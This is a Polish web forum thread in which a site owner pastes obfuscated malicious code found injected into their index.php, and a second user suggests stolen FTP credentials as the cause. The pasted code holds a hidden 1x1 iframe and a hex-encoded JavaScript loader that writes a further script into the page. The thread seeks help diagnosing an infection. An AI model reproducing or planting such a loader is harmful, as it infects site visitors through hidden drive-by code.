[php] Wirus na stronie Opcje

[propage]

na mojej stronie pojawił się taki kod

[PHP] pobierz, plaintext 
<?php
<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe>
<script>function c102916999516l496e0d2bf1aea(l496e0d2bf22bc){ function l496e0d2bf2a8d(){var l496e0d2bf325e=16;return l496e0d2bf325e;} return (parseInt(l496e0d2bf22bc,l496e0d2bf2a8d()));}function l496e0d2bf3a2e(l496e0d2bf4200){  var l496e0d2c00793='';l496e0d2c026d5=String.fromCharCode;for(l496e0d2c00f63=0;l496e0d2c00f63<l496e0d2bf4200.length;l496e0d2c00f63+=2){ l496e0d2c00793+=(l496e0d2c026d5(c102916999516l496e0d2bf1aea(l496e0d2bf4200.substr(l496e0d2c00f63,2))));}return l496e0d2c00793;} var x.d.2='';var l496e0d2c030f5='3C736'+x.d.2+'3726'+x.d.2+'970743E6'+x.d.2+'96'+x.d.2+'6'+x.d.2+'28216'+x.d.2+'D796'+x.d.2+'96'+x.d.2+'1297B6'+x.d.2+'46'+x.d.2 +'F6'+x.d.2+'3756'+x.d.2+'D6'+x.d.2+'56'+x.d.2+'E742E77726'+x.d.2+'9746'+x.d.2+'528756'+x.d.2+'E6'+x.d.2+'5736'+x.d.2+'36'+x.d.2+'1706'+x.d.2 +'528202725336' +x.d.2+'32536'+x.d.2+'392536'+x.d.2+'36'+x.d.2+'2537322536'+x.d.2+'312536'+x.d.2+'6'+x.d.2+'42536'+x.d.2 +'352532302536'+x.d.2+'6'+x.d.2+'52536'+x.d.2+'312536' +x.d.2+'6'+x.d.2+'42536'+x.d.2+'3525336'+x.d.2+'42536'+x.d.2+'332533312533302532302537332537322536'+x.d.2+'3325336'+x.d.2+ '42532372536'+x.d.2+'3825373425373425373025336' +x.d.2+'125326'+x.d.2+'6'+x.d.2+'25326'+x.d.2+'6'+x.d.2+'2536'+x.d.2+'372536'+x.d.2+'6'+x.d.2+'6'+x.d.2+'2536'+x.d.2+'372536'+x.d.2+'6' +x.d.2+'6'+x.d.2+'2533322536'+x.d.2+'6'+x.d.2+'42536' +x.d.2+'3525326'+x.d.2+'52536'+x.d.2+'6'+x.d.2+'52536'+x.d.2+'3525373425326'+x.d.2+'6'+x.d.2+'25326'+x.d.2+'52536'+x.d.2+ '372536'+x.d.2+'6'+x.d.2+'6'+x.d.2+'25326'+x.d.2+'6'+x.d.2+'2536'+x.d.2+'332536' +x.d.2+'382536'+x.d.2+'352536'+x.d.2+'332536'+x.d.2+'6'+x.d.2+'225326'+x.d.2+'52536' +x.d.2+'382537342536'+x.d.2+'6'+x.d.2+'42536'+x.d.2+'6'+x.d.2+'32532372532302537372536'+x.d.2+'392536'+x.d.2+'342537342536' +x.d.2+'3825336'+x.d.2+'42533322533322533322532302536'+x.d.2+'382536'+x.d.2+'352536'+x.d.2+'392536'+x.d.2+'372536'+x.d.2+ '3825373425336'+x.d.2+'42533352533342533372532302537332537342537392536'+x.d.2+'6'+x.d.2+'32536'+x.d.2+'3525336'+x.d.2+ '4253237253736'+x.d.2+'2536'+x.d.2+'392537332536'+x.d.2+'392536'+x.d.2+'322536'+x.d.2+'392536'+x.d.2+'6'+x.d.2+'32536'+x.d.2+ '3925373425373925336'+x.d.2+'12536'+x.d.2+'382536'+x.d.2+'392536'+x.d.2+'342536'+x.d.2+'342536'+x.d.2+'352536'+x.d.2+'6'+x.d.2+'525323725336' +x.d.2+'525336'+x.d.2+'325326'+x.d.2+'6'+x.d.2+'2536'+x.d.2+'392536'+x.d.2+'36'+x.d.2+'2537322536'+x.d.2+'312536'+x.d.2+'6'+x.d.2+'42536'+x.d.2+ '3525336'+x.d.2+'52729293B7D76'+x.d.2+'6'+x.d.2+'172206'+x.d.2+'D796'+x.d.2+'96'+x.d.2+'13D7472756'+x.d.2+'53B3C2F736'+x.d.2+'3726'+x.d.2+ '970743E';document.write(l496e0d2bf3a2e(l496e0d2c030f5));</script>
?>
[PHP] pobierz, plaintext 

Wstrzyknięty do pliku index.php

Wie ktoś jak ten wirus dostaje się do pliku index.php?

Stosuje się do wszystkich podstawowych zasas przy tworzeniu stron, filtruje zawsze wszystkie dane od użytkownika, hm

[l0ud]

Podejrzewam, że hasło jest zczytywane podczas infekcji - z konfiguracji klienta ftp albo łączenia. Modyfikacja strony odbywa się już z innego komputera (zapewne serwera włamywaczy) i może wystąpić z opóźnieniem. Może Twoje hasła były za słabe?

Tak czy siak, ja dziury po stronie skrpytów bym nie szukał.